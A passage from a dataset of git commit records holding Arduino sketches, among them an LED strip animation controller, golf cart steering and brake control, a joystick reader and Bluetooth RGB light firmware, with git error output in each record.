0\n#define BLINK_1 999\n#define BLINK_2 1999\n#define BLINK_3 2999\n#define BLINK_4 3999\n#define BLINK_5 4999\n#define BLINK_6 5999\n#define BLINK_A BLINK_1\n#define BLINK_B BLINK_4\nint blink_counter = 0;\nbool blink_state = true; \/\/ false means blank\n\n\/\/ blink groups\nbool blink_state_1 = true; \nbool blink_state_2 = true; \nbool blink_state_3 = true; \nbool blink_state_4 = true; \nbool blink_state_5 = true; \nbool blink_state_6 = true; \nbool blink_state_a = true; \nbool blink_state_b = true; \n\nvoid start_effect(int effect){\n effects[0] = effect;\n}\n\nvoid start_blinking_r(){\n effects[0] = BLINK_ON_1 + random((BLINK_ON_6 - BLINK_ON_1) + 1);\n}\n\n#define BREATHE_TIME 500\n#define BREATHE_BRIGHTNESS_MAX DEFAULT_BRIGHTNESS_PERCENT\n#define BREATHE_MAX_STEP 22 \n#define BREATHE_BRIGHTNESS_MIN 0\n#define DEFAULT_BRIGHTNESS_SCALE (DEFAULT_BRIGHTNESS_PERCENT \/ 100.0)\n#define MINIMUM_BRIGHTNESS_SCALE 0.02\n\nint breathe_counter = 0;\nint breathe_step = 0;\nint breathe_direction = 1;\n\n\/\/ ruby: (0..90).step(5).each { |i| puts (Math.cos(i * Math::PI \/ 180)).round(4) }\nfloat breathe_steps[] = {\n 1.0,\n 0.9962,\n 0.9848,\n 0.9659,\n 0.9397,\n 0.9063,\n 0.866,\n 0.8192,\n 0.766,\n 0.7071,\n 0.6428,\n 0.5736,\n 0.5,\n 0.4226,\n 0.342,\n 0.2588,\n 0.1736,\n 0.0872,\n 0.0,\n 0.0, \/\/ a few extra make it feel more natural\n 0.0,\n 0,0\n};\n\nvoid start_breathing(){\n effects[0] = BREATHE_ON;\n}\n\nvoid start_static(){\n effects[0] = STATIC_ON;\n}\n\nrgb_color blend_colors(rgb_color color1, rgb_color color2){\n rgb_color result;\n result.red = (color1.red + color2.red) \/ 2;\n result.green = (color1.green + color2.green) \/ 2;\n result.blue = (color1.blue + color2.blue) \/ 2;\n return result;\n}\n\nvoid do_blend(){\n colors[0] = blend_colors(colors[0], colors[1]);\n colors[1] = colors[0];\n}\n\n\/\/ only works proper used immediately after placing a standard color\nvoid do_max(){\n colors[0] = scale_color(colors[0], MAX_BRIGHTNESS_PERCENT \/ 100.0);\n}\n\nvoid do_dim(){\n colors[0].red = colors[0].red >> 1;\n colors[0].green = colors[0].green >> 1;\n colors[0].blue = colors[0].blue >> 1;\n}\n\nvoid do_bright(){\n colors[0].red = colors[0].red << 1;\n colors[0].green = colors[0].green << 1;\n colors[0].blue = colors[0].blue << 1;\n}\n\nvoid fade(float rate = FADE_RATE){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < ANIM_LED_COUNT * 3; i++){\n *(p + i) *= rate;\n }\n}\n\nvoid do_fade(float rate = FADE_RATE){\n for(int i = 0; i < FADE_TIMES; i++){\n fade(rate);\n ledStrip.write(colors, ANIM_LED_COUNT);\n delay(FADE_DELAY);\n }\n for(int i = 0; i < ANIM_LED_COUNT; i++){\n effects[i] = NO_EFFECT;\n }\n}\n\nvoid do_flood(){\n for(int i = 1; i < ANIM_LED_COUNT; i++){\n if(effects[0] == RANDOM){\n colors[i] = random_color();\n } else {\n colors[i] = colors[0];\n }\n effects[i] = effects[0]; \n }\n}\n\nrgb_color random_color(){\n return palette[random(NPRETTY_COLORS)];\n}\n\nvoid do_random(){\n push_color(random_color());\n effects[0] = RANDOM;\n}\n\nvoid do_mirror(){\n for(int i = 0; i < ANIM_LED_COUNT \/ 2; i++){\n colors[ANIM_LED_COUNT - i - 1] = colors[i];\n effects[ANIM_LED_COUNT - i - 1] = effects[i];\n }\n}\n\nvoid do_repeat(int times = 1){\n for(int i = 0; i < times; i++){\n if(effects[0] == RANDOM){\n push_color(random_color());\n } else {\n push_color(colors[0]);\n }\n effects[0] = effects[1];\n }\n}\n\nvoid render_buffer(){\n for(int i = 0; i < ANIM_LED_COUNT; i++){\n int effect = effects[i];\n\n if(effect == STATIC_ON) colors[i] = random_color();\n\n if(effect >= BLINK_MIN && effect <= BLINK_MAX){\n if((effect == BLINK_ON && blink_state) || \n (effect == BLINK_ON_1 && blink_state_1) || \n (effect == BLINK_ON_2 && blink_state_2) || \n (effect == BLINK_ON_3 && blink_state_3) || \n (effect == BLINK_ON_4 && blink_state_4) || \n (effect == BLINK_ON_5 && blink_state_5) || \n (effect == BLINK_ON_6 && blink_state_6) || \n (effect == BLINK_ON_A && blink_state_a) || \n (effect == BLINK_ON_B && blink_state_b)) {\n render[i] = scale_color(colors[i], DEFAULT_BRIGHTNESS_SCALE); \n } else {\n render[i] = scale_color(colors[i], MINIMUM_BRIGHTNESS_SCALE);\n }\n }\n \n else if(effects[i] == BREATHE_ON) render[i] = scale_color(colors[i], DEFAULT_BRIGHTNESS_SCALE * breathe_steps[BREATHE_MAX_STEP - breathe_step]);\n\n else render[i] = scale_color(colors[i], DEFAULT_BRIGHTNESS_SCALE);\n }\n}\n\nvoid display_buffer(){\n ledStrip.write(render, ANIM_LED_COUNT); \n}\n\nbool paused = false;\n\nvoid flush(){\n if(!paused){\n render_buffer();\n display_buffer();\n }\n}\n\n\/\/ Compute a random seed by sampling an unconnected analog input pin \nint random_seed(){\n int seed = analogRead(RANDOM_SEED_PIN);\n for(int i = 0; i < 16; i++){\n seed = (seed << 1) ^ analogRead(0); \n }\n randomSeed(seed);\n}\n\nfloat ease_power_in(float percent, int power){\n return pow(percent, power);\n}\n\nfloat ease_power_out(float percent, int power){\n return 1 - pow(1 - percent, power);\n}\n\nfloat ease_elastic_out(float percent){\n return sin(-13 * M_PI_2 * (percent + 1)) * pow(2, -10 * percent) + 1; \n}\n\/\/ elastic in: return sin(13 * M_PI_2 * p) * pow(2, 10 * (p - 1));\n\nvoid generate_power_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_power_out(percent, power))) + 0.5;\n }\n}\n\n\/\/ power ease in then elastic ease out\nvoid generate_elastic_ease(int count, int power){\n float midpoint = count \/ 2;\n for(int i = 0; i < midpoint; i++){\n float percent = i \/ midpoint;\n ease[i] = 0.5 * (ease_power_in(percent, power));\n ease[i + int(midpoint)] = (0.5 * (ease_elastic_out(percent))) + 0.5;\n }\n}\n\nvoid shift(int count){\n for(int i = 0; i < count; i++){\n render[i] = black;\n }\n for(int i = count; i < ANIM_LED_COUNT; i++){\n render[i] = scale_color(colors[i - count], DEFAULT_BRIGHTNESS_SCALE);\n }\n\n ledStrip.write(render, ANIM_LED_COUNT);\n}\n\nvoid unshift(int count){\n for(int i = 0; i < ANIM_LED_COUNT - count; i++){\n render[i] = scale_color(colors[i + count], DEFAULT_BRIGHTNESS_SCALE); \n }\n\n ledStrip.write(render, ANIM_LED_COUNT);\n}\n\nvoid do_elastic_shift(int count){\n count = count == 0 ? 1 : count;\n if(count >= 1){\n for(int i = 0; i < EASE_COUNT; i++){\n int pos = ease[i] * count;\n delay(EASE_DELAY);\n shift(pos);\n }\n for(int i = 0; i < count; i++){\n push_color(black);\n }\n\n\/\/ for(int i = 0; i < ANIM_LED_COUNT; i++){\n\/\/ colors[i] = render[i];\n\/\/ }\n\/\/ for(int i = 0; i < count; i++){\n\/\/ effects[i] = NO_EFFECT;\n\/\/ }\n\/\/ for(int i = ANIM_LED_COUNT - 1; i >= count; i--){\n\/\/ effects[i] = effects[i - count];\n\/\/ } \n\n for(int i = 0; i < ANIM_LED_COUNT; i++){\n int index = ANIM_LED_COUNT - 1;\n if(i >= count){\n effects[index] = effects[index - count]; \n } else {\n effects[index] = NO_EFFECT; \n }\n }\n } else {\n\/\/ count *= -1;\n\/\/ for(int i = 0; i < EASE_COUNT; i++){\n\/\/ int pos = ease[i] * count;\n\/\/ delay(EASE_DELAY);\n\/\/ unshift(count - pos); \/\/ broken\n\/\/ }\n }\n}\n\nvoid setup() { \n \/\/Serial.begin(115200); \/\/ open serial connection to USB Serial \n \/\/port(connected to your computer)\n Serial1.begin(57600); \/\/ open internal serial connection to \n \/\/MT7688\n \/\/pinMode(13, OUTPUT); \/\/ in MT7688, this maps to device \n\n random_seed();\n setup_colors(false);\n erase(true);\n generate_elastic_ease(EASE_COUNT, EASE_EXPONENT);\n}\n\n#define MAX_STRING_LENGTH 16\n\nbool is_command(char *str, char *command){\n return strcmp(str, command) == 0; \n}\n\nvoid loop(){ \n char str[MAX_STRING_LENGTH];\n char arg[MAX_STRING_LENGTH];\n rgb_color color;\n\n if(Serial1.available() > 0){\n int c = Serial1.readBytesUntil('|', str, MAX_STRING_LENGTH);\n str[c] = 0;\n\n \/\/ reset the effects so the automatic render won't interfere\n blink_state = true;\n blink_state_1 = false;\n blink_state_2 = false;\n blink_state_3 = false;\n blink_state_4 = false;\n blink_state_5 = false;\n blink_state_6 = false;\n blink_state_a = false;\n blink_state_b = false;\n blink_counter = 0;\n breathe_step = 0;\n breathe_counter = 0;\n \n \/\/Serial.println(str);\n\n\/\/ fast blink, breathe\n\/\/ static, flame\n\/\/ invert hue, swing hue, back and forth between two arbitrary colors, rgb cube\n\/\/ rainbow colors incremental, or continuously changing\n\/\/ shooting up\n\/\/ push-down animation when a new build is seen (to emphasize its adding)\n\/\/ fade based on build time\n\/\/ change refresh rate based on time of day (afterhours it doesn't need to check that often)\n\/\/ show something if the data hasn't updated in a long time\n\/\/ automatically stop and restart the script at night\n\/\/ show something if the data has been unchanged for some time, like after hours\n\/\/ detect if the group of builds has been added to, then do an insertion animation\n\/\/ after pause, allow breathing and blinking to come to a halt first\n\/\/ rotation\n\/\/ transitions\n\/\/ if something is not recognized assume it's an argument for the next command\n\/\/ copy -- everything up to black is copied on top of black\n\/\/ repeat x the unrecognized argument as an integer\n\/\/ stop sign timing and opposite timing\n\/\/ reverse, inverse mirror\n\/\/ brief flash, or something, to alert to a new (green?) build\n\/\/ some way to visually tell which are changes from a little while ago (like the fading yellow highlight on web pages)\n\/\/ demo - do random stuff\n\n if(is_command(str, \"repeat\")){\n int times = String(arg).toInt();\n if(times == 0) times = 1;\n do_repeat(times);\n strcpy(arg, \"\");\n }\n\n if (is_command(str, \"pause\")) paused = true; \n else if(is_command(str, \"continue\")) paused = false;\n else if(is_command(str, \"erase\")) erase(true);\n else if(is_command(str, \"blink\")) start_effect(BLINK_ON);\n else if(is_command(str, \"blink1\")) start_effect(BLINK_ON_1);\n else if(is_command(str, \"blink2\")) start_effect(BLINK_ON_2);\n else if(is_command(str, \"blink3\")) start_effect(BLINK_ON_3);\n else if(is_command(str, \"blink4\")) start_effect(BLINK_ON_4);\n else if(is_command(str, \"blink5\")) start_effect(BLINK_ON_5);\n else if(is_command(str, \"blink6\")) start_effect(BLINK_ON_6);\n else if(is_command(str, \"blinkr\")) start_blinking_r();\n else if(is_command(str, \"blinka\")) start_effect(BLINK_ON_A);\n else if(is_command(str, \"blinkb\")) start_effect(BLINK_ON_B);\n else if(is_command(str, \"breathe\")) start_effect(BREATHE_ON);\n else if(is_command(str, \"flush\")) flush();\n else if(is_command(str, \"blend\")) do_blend();\n else if(is_command(str, \"max\")) do_max();\n else if(is_command(str, \"dim\")) do_dim();\n else if(is_command(str, \"bright\")) do_bright();\n else if(is_command(str, \"fade\")) do_fade();\n else if(is_command(str, \"flood\")) do_flood();\n else if(is_command(str, \"random\")) do_random();\n else if(is_command(str, \"mirror\")) do_mirror();\n else if(is_command(str, \"eshift\")) do_elastic_shift(String(arg).toInt());\n else if(is_command(str, \"static\")) start_static();\n else if(is_command(str, \"red\")) push_color(red);\n else if(is_command(str, \"green\")) push_color(green);\n else if(is_command(str, \"blue\")) push_color(blue);\n else if(is_command(str, \"black\")) push_color(black);\n else if(is_command(str, \"yellow\")) push_color(yellow);\n else if(is_command(str, \"orange\")) push_color(orange);\n else if(is_command(str, \"purple\")) push_color(purple);\n else if(is_command(str, \"cyan\")) push_color(cyan);\n else if(is_command(str, \"magenta\")) push_color(magenta);\n else if(is_command(str, \"pink\")) push_color(pink);\n else if(is_command(str, \"white\")) push_color(white);\n else if(is_command(str, \"gray\")) push_color(gray);\n else if(is_command(str, \"ltgreen\")) push_color(ltgreen);\n else if(is_command(str, \"seafoam\")) push_color(seafoam);\n else if(is_command(str, \"ltblue\")) push_color(ltblue);\n else if(is_command(str, \"dkgray\")) push_color(dkgray);\n else strcpy(arg, str);\n } \n else \n {\n bool should_flush = false;\n \n blink_counter = (blink_counter + 1) % MAX_BLINK;\n if(blink_counter == BLINK_0){\n if(blink_state){\n blink_state = false;\n } else {\n blink_state = true;\n }\n should_flush = true;\n }\n\n if(blink_counter == BLINK_1){\n blink_state_6 = false;\n blink_state_1 = true;\n blink_state_a = true;\n blink_state_b = false;\n should_flush = true;\n }\n\n if(blink_counter == BLINK_2){\n blink_state_1 = false;\n blink_state_2 = true;\n should_flush = true;\n }\n\n if(blink_counter == BLINK_3){\n blink_state_2 = false;\n blink_state_3 = true;\n should_flush = true;\n }\n\n if(blink_counter == BLINK_4){\n blink_state_3 = false;\n blink_state_4 = true;\n blink_state_a = false;\n blink_state_b = true;\n should_flush = true;\n }\n\n if(blink_counter == BLINK_5){\n blink_state_4 = false;\n blink_state_5 = true;\n should_flush = true;\n }\n\n if(blink_counter == BLINK_6){\n blink_state_5 = false;\n blink_state_6 = true;\n should_flush = true;\n }\n\n breathe_counter = (breathe_counter + 1) % BREATHE_TIME;\n if(breathe_counter == 0){\n int next_breathe_step = breathe_step + breathe_direction;\n if(next_breathe_step < 0 || next_breathe_step >= BREATHE_MAX_STEP){\n breathe_direction *= -1;\n }\n breathe_step = breathe_step + breathe_direction;\n should_flush = true;\n }\n \n if(should_flush){\n flush();\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/linkit_duo_led6\/linkit_duo_led6.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5c4f5c6998140be2cbf0b67b2c53dfb99b63967","subject":"DS3231 Real Time Clock eklendi","message":"DS3231 Real Time Clock eklendi\n\n(mod\u00fcl\u00fc ilk defa \u00e7al\u0131\u015ft\u0131r\u0131rken veya yeni pil tak\u0131ld\u0131\u011f\u0131nda ger\u00e7ek saati sistemden alabilmesi i\u00e7in arduino \u00f6rneklerden Time>TimeRTCSet kodunu \u00e7al\u0131\u015ft\u0131r)","repos":"ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo,ResearcherOne\/RobotTakimiRepo","old_file":"2_diger\/DS3231(timer)\/DS3231(timer).ino","new_file":"2_diger\/DS3231(timer)\/DS3231(timer).ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"c876da0474bffb7c5e39482a870404b5242e49e8","subject":"Added Brake Functionality","message":"Added Brake Functionality\n","repos":"Luno89\/golfcart,Luno89\/golfcart","old_file":"GolfCart_Control_3_\/GolfCart_Control_3_.ino","new_file":"GolfCart_Control_3_\/GolfCart_Control_3_.ino","new_contents":"#include <Servo.h>\n#include <SPI.h>\n#include <CmdMessenger.h>\n#include <Base64.h>\n#include <Streaming.h>\n\n#define STEER_RUN \t2000\n#define STEER_LUN 1000\n#define STEER_TIME \t800\n#define STEER_INTER_1 2 \/\/pin 21\n#define STEER_INTER_2 3 \/\/pin 20\n#define STEER_INTER_G 4 \/\/pin 19\n#define STEER_PIN\t9\n\n#define BRAKE_UNIT \t1800\n#define BRAKE_TIME \t500\n#define BRAKE_ON_PIN 0 \/\/pin 2\n#define BRAKE_OFF_PIN 1 \/\/pin 3\n#define BRAKE_PIN\t8\n\n#define ACCEL_UNIT \t100\n#define ACCEL_MIN\t1000\n#define ACCEL_MAX\t2000\n#define SLAVE_SELECT 53\n\n#define RELAY_STEER \n#define RELAY_ACCEL 32\n#define RELAY_POWER 31\n#define RELAY_RAM 33\n#define RELAY_DIRECTION 30\n\n#define BAUD_RATE\t115200\n\nServo steer;\nServo brake;\n\nint readSpeed;\nvolatile int steeringAngle = 0;\nint steerSetTime;\nboolean forwardDirection = true;\nvolatile boolean brake_state = false;\nint brakeSetTime;\nint time;\nint buf;\nint intbuf;\nint i = 0;\nint currentSpeed = 0;\n\n\n\/\/ Mustnt conflict \/ collide with our message payload data. Fine if we use base64 library ^^ above\nchar field_separator = ',';\nchar command_separator = ';';\nCmdMessenger cmdMessenger = CmdMessenger(Serial, field_separator, command_separator);\n\nenum\n{\n kCOMM_ERROR = 000, \/\/ Lets Arduino report serial port comm error back to the PC (only works for some comm errors)\n kACK = 001, \/\/ Arduino acknowledges cmd was received\n kARDUINO_READY = 002, \/\/ After opening the comm port, send this cmd 02 from PC to check arduino is ready\n kERR = 003, \/\/ Arduino reports badly formatted cmd, or cmd not recognised\n\n \/\/ Now we can define many more 'send' commands, coming from the arduino -> the PC, eg\n \/\/ kICE_CREAM_READY,\n \/\/ kICE_CREAM_PRICE,\n \/\/ For the above commands, we just call cmdMessenger.sendCmd() anywhere we want in our Arduino program.\n\n kSEND_CMDS_END, \/\/ Mustnt delete this line\n};\n\n\/\/ Commands we send from the PC and want to recieve on the Arduino.\n\/\/ We must define a callback function in our Arduino program for each entry in the list below vv.\n\/\/ They start at the address kSEND_CMDS_END defined ^^ above as 004\nmessengerCallbackFunction messengerCallbacks[] = \n{\n Steering, \/\/ 004 \n Accelerate, \/\/ 005\n Stop, \/\/ 006\n \/\/switchDirection, \/\/007\n NULL\n};\n\nvoid arduino_ready()\n{\n \/\/ In response to ping. We just send a throw-away Acknowledgement to say \"im alive\"\n cmdMessenger.sendCmd(kACK,\"Arduino ready\");\n}\n\nvoid unknownCmd()\n{\n \/\/ Default response for unknown commands and corrupt messages\n cmdMessenger.sendCmd(kERR,\"Unknown command\");\n}\n\nvoid attach_callbacks(messengerCallbackFunction* callbacks)\n{\n int i = 0;\n int offset = kSEND_CMDS_END;\n while(callbacks[i])\n {\n cmdMessenger.attach(offset+i, callbacks[i]);\n i++;\n }\n}\n\n\/************************************************************\/\n\/\/ Steering fucntions \n\nvoid steerPulse()\n{\n if(time >= steerSetTime)\n {\n stopSteering();\n steerSetTime = 0;\n }\n setTime();\n}\n\n\/\/void moveSteering(bool right)\n\/\/{\n\/\/ if(right)\n\/\/ {\n\/\/ steer.writeMicroseconds(1100);\n\/\/ cmdMessenger.sendCmd(kACK,\"I send right\");\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ steer.writeMicroseconds(1900);\n\/\/ cmdMessenger.sendCmd(kACK,\"I send left\");\n\/\/ }\n\/\/}\n\nvoid stopSteering()\n{\n steer.writeMicroseconds(1500);\n}\n\nvoid Steering()\n{\n while( cmdMessenger.available())\n { \n buf = cmdMessenger.readInt();\n }\n cmdMessenger.sendCmd(kACK,\"I got Steer\");\n intbuf = buf & 0x7FFF;\n \/\/intbuf = buf & 127255; \/\/B01111111111111111\n steerSetTime = STEER_TIME + time;\n \n if (steeringAngle > buf)\n {\n steer.write(2000);\n \/\/delay(1250);\n \/\/moveSteering(false);\n cmdMessenger.sendCmd(kACK,\"I got left\");\n }\n else if (steeringAngle < buf)\n {\n steer.write(1000);\n \/\/moveSteering(true);\n cmdMessenger.sendCmd(kACK,\"I got right\");\n }\n steeringAngle = intbuf;\n}\n\n\/************************************************************\/\n\/\/Acceleration fucntions \n\/\/ Accerlerate gets called by CmdMessenger and reads an int value \n\/\/ to set the acceleration to. It calls formatDACommand to \n\/\/ ensure a correctly formated value is passed to the DAC\n\nvoid switchDirection(boolean forward)\n{\n\/\/ while( cmdMessenger.available())\n\/\/ { \n\/\/ buf = cmdMessenger.readInt();\n\/\/ }\n if(forward)\n {\n stopAccel();\n forwardDirection = true;\n digitalWrite(RELAY_DIRECTION,HIGH);\n }\n else\n {\n stopAccel();\n forwardDirection = false;\n digitalWrite(RELAY_DIRECTION,LOW);\n }\n}\n\nunsigned int formatDACommand(unsigned int value)\n{\n value = value<<1;\n value = value & 8190; \/\/B0001111111111110\n return value;\n}\n\nvoid setAccel(unsigned int value)\n{\n \/\/currentForwardSpeed += value;\n \n value = formatDACommand(value);\n digitalWrite(SLAVE_SELECT,LOW);\n SPI.transfer(value>>8);\n SPI.transfer(value);\n digitalWrite(SLAVE_SELECT,HIGH); \n}\n\nvoid stopAccel()\n{\n readSpeed = readSpeed & 0;\n currentSpeed = 0;\n setAccel(0);\n}\n\nvoid Accelerate()\n{\n while( cmdMessenger.available())\n { \n buf = cmdMessenger.readInt();\n }\n cmdMessenger.sendCmd(kACK,\"I got Accel\");\n if(buf < 0 && forwardDirection == true)\n {\n switchDirection(false);\n setAccel(-buf);\n }\n else if (buf > 0 && forwardDirection == false)\n {\n switchDirection(true);\n setAccel(buf);\n }\n else\n\tsetAccel(abs(buf));\n}\n\n\/************************************************************\/\n\/\/Stop fucntions \n\nvoid Stop()\n{\n cmdMessenger.sendCmd(kACK,\"I got Stop\");\n stopAll();\n}\n\nvoid stopAll()\n{\n stopAccel();\n stopSteering();\n if(!brake_state)\n applyBrake();\n}\n\nvoid brakeState()\n{\n brake_state = !brake_state;\n stopBrake();\n}\n\nvoid stopBrake()\n{\n brake.write(1500);\n}\n\n\/\/ Call applyBrake() to start the brake motor braking\n\/\/ the interupt function stopBrake() will stop the motor\n\/\/ when the switch on either end goes from low to high\n\/\/ To release brake call applyBrake() again. \nvoid applyBrake()\n{\n if(brake_state)\n brake.write(1000);\n else\n brake.write(2000);\n}\n\n\/************************************************************\/\n\/\/Time fucntions \n\nvoid setTime()\n{\n time = millis();\n}\n\n\/************************************************************\/\n\/\/The Setup\n\nvoid setup()\n{\n Serial.begin(BAUD_RATE);\n \n cmdMessenger.print_LF_CR(); \/\/more readable comment out for real\n cmdMessenger.attach(kARDUINO_READY, arduino_ready);\n cmdMessenger.attach(unknownCmd);\n attach_callbacks(messengerCallbacks);\n arduino_ready();\n \n setTime(); \n \n \/\/Inits the Accerator stuff to change speed or resistance on the \n \/\/ maxim chip\n pinMode(SLAVE_SELECT, OUTPUT);\n SPI.setDataMode(SPI_MODE0);\n SPI.setClockDivider(SPI_CLOCK_DIV2);\n SPI.setBitOrder(MSBFIRST);\n SPI.begin();\n\n steer.attach(STEER_PIN);\n \n attachInterrupt(BRAKE_ON_PIN, brakeState, RISING);\n attachInterrupt(BRAKE_OFF_PIN, brakeState, RISING);\n brake.attach(BRAKE_PIN);\n \n steer.writeMicroseconds(1500);\n brake.writeMicroseconds(1500);\n \n pinMode(RELAY_ACCEL,OUTPUT);\n \/\/pinMode(RELAY_STEER,OUTPUT);\n pinMode(RELAY_POWER,OUTPUT);\n \/\/pinMode(RELAY_RAM,OUTPUT);\n pinMode(RELAY_DIRECTION,OUTPUT);\n \n digitalWrite(RELAY_ACCEL,LOW);\n \/\/digitalWrite(RELAY_STEER,LOW);\n digitalWrite(RELAY_POWER,LOW);\n \/\/digitalWrite(RELAY_RAM,LOW);\n digitalWrite(RELAY_DIRECTION,HIGH);\n}\n\nvoid loop()\n{\n cmdMessenger.feedinSerialData();\n steerPulse();\n brakePulse();\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GolfCart_Control_3_\/GolfCart_Control_3_.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45dc315873b0940ce46a20ce644d8c86c5ac8702","subject":"added the arduino code","message":"added the arduino code\n","repos":"barak-obama\/car-control","old_file":"ManualControl\/arduino_code\/arduino_code.ino","new_file":"ManualControl\/arduino_code\/arduino_code.ino","new_contents":"int joyPin1 = 0; \/\/ slider variable connecetd to analog pin 0\nint joyPin2 = 1; \/\/ slider variable connecetd to analog pin 1\nint digital = 4;\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(digital, INPUT);\n}\n\nvoid loop() {\n int value1 = analogRead(joyPin1);\n int value2 = analogRead(joyPin2);\n Serial.print(value1);\n Serial.print(\",\");\n Serial.print(value2);\n Serial.print(\",\");\n Serial.println(digitalRead(digital));\n delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ManualControl\/arduino_code\/arduino_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c0f3a519da3842d2faa22a952facdcd7f2d7ea9f","subject":"added over the air command interface to maze drone","message":"added over the air command interface to maze drone\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5e31b4ed204a2ea76c3afedaba9d6b7c303f25c9","subject":"Initial version of the firmware","message":"Initial version of the firmware\n","repos":"fablab-bayreuth\/fablight,fablab-bayreuth\/fablight,fablab-bayreuth\/fablight","old_file":"Fablight-Firmware\/Fablight-Firmware.ino","new_file":"Fablight-Firmware\/Fablight-Firmware.ino","new_contents":"#include <SoftwareSerial.h>\n\n#define PIN_W 3\n#define PIN_B 9\n#define PIN_G 10\n#define PIN_R 11\n\ntypedef enum {\n WHITE = 0,\n RED = 1,\n GREEN = 2,\n BLUE = 3\n} color_t;\n\nuint8_t colorToPin[4] = { PIN_W, PIN_R, PIN_G, PIN_B };\n\n#define BT_KEY 8\n#define BT_RX 13\n#define BT_TX 12\n#define BT_BAUD 9600\n\nSoftwareSerial bt(BT_TX, BT_RX);\n\nvoid setup() {\n pinMode(PIN_W, OUTPUT);\n pinMode(PIN_R, OUTPUT);\n pinMode(PIN_G, OUTPUT);\n pinMode(PIN_B, OUTPUT);\n \n TCCR1B &= ~(7 << CS10);\n TCCR2B &= ~(7 << CS20);\n \n TCCR1B |= 1;\n TCCR2B |= 1;\n \n digitalWrite(3, 1);\n digitalWrite(9, 1);\n digitalWrite(10, 1);\n digitalWrite(11, 1);\n \n Serial.begin(38400);\n bt.begin(BT_BAUD);\n}\n\nunsigned long startTime = 0;\nuint8_t startColor[4] = { 0, 0, 0, 0 };\n\nstruct action {\n uint16_t fadeTime;\n uint8_t color[4];\n} action[2];\n\nint8_t actionIndex = 0;\n\nvoid loop() {\n doAction();\n readAction();\n}\n\nvoid doAction() {\n static int8_t doing = 0;\n if(doing == 1) {\n unsigned long t = millis() - startTime;\n if(action[0].fadeTime == 0 || t >= action[0].fadeTime) {\n doing = 0;\n for(int i = 0; i < 4; i++) {\n analogWrite(colorToPin[i], 255 - action[0].color[i]);\n startColor[i] = action[0].color[i];\n }\n actionIndex = 0;\n } else {\n for(int i = 0; i < 4; i++) {\n analogWrite(colorToPin[i], 255 - (startColor[i] + ((action[0].color[i] - startColor[i]) * t) \/ action[0].fadeTime));\n }\n }\n } else if(actionIndex == 1) {\n startTime = millis();\n doing = 1;\n }\n}\n\nvoid readAction() {\n static int index = 0;\n while(bt.available()) {\n char c = bt.read();\n bt.write(c);\n if(c == '\\r') {\n bt.write('\\n');\n if(index == sizeof(action[0]) * 2) {\n bt.write(\":D\\r\\n\");\n actionIndex++;\n } else {\n bt.write(\":(\\r\\n\");\n }\n index = 0;\n continue;\n } else {\n if(c >= '0' && c <= '9') {\n c -= '0';\n } else if(c >= 'A' && c <= 'F') {\n c -= 'A' - 10;\n } else {\n continue;\n }\n }\n switch(index) {\n case 0: action[actionIndex].fadeTime = c << 12; break;\n case 1: action[actionIndex].fadeTime |= c << 8; break;\n case 2: action[actionIndex].fadeTime |= c << 4; break;\n case 3: action[actionIndex].fadeTime |= c; break;\n case 4: case 6: case 8: case 10:\n action[actionIndex].color[index\/2 - 2] = c << 4; break;\n case 5: case 7: case 9: case 11:\n action[actionIndex].color[index\/2 - 2] |= c; break;\n }\n index++;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Fablight-Firmware\/Fablight-Firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3288fdc62e31d58d75c5965300683674406126d0","subject":"Testing frequency setting spped","message":"Testing frequency setting spped\n","repos":"sq9nje\/si5351","old_file":"examples\/si5351-speedtest\/si5351-speedtest.ino","new_file":"examples\/si5351-speedtest\/si5351-speedtest.ino","new_contents":"\/\/ si5351-speedtest.ino\n\n#include <Wire.h>\n#include <si5351.h>\n\n#define TWI_SPEED 400000L\n\n\nsi5351 si;\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tSerial.println(\"SI5351 Speed test\");\n\n\tWire.begin();\n\t\n\tTWBR = ((F_CPU \/ TWI_SPEED) - 16) >> 1;\t\t\t\t\t\t\t\t\/\/ Set I2C speed to 400kHz\n\n\tsi.begin();\n\tsi.set_xtal(27000000, -9);\t\t\t\t\t\t\t\t\t\t\t\/\/ XTAL = 27.000 MHz with -9ppm correction\n\tsi.pll_integer_config(PLL_A, 30);\t\t\t\t\t\t\t\t\t\/\/ PLL_A = 30 * XTAL\n\tsi.clk_config(CLK0, (SRC_PLL << CLKx_SRC) | (IDRV_8 << CLKx_IDRV)); \/\/ CLK0 powerd up, fractional mode, MultiSynth0, PLL A, not inverted, 8mA drive\n\tsi.set_phase(CLK0, 0);\t\t\t\t\t\t\t\t\t\t\t\t\/\/ no phase offset for 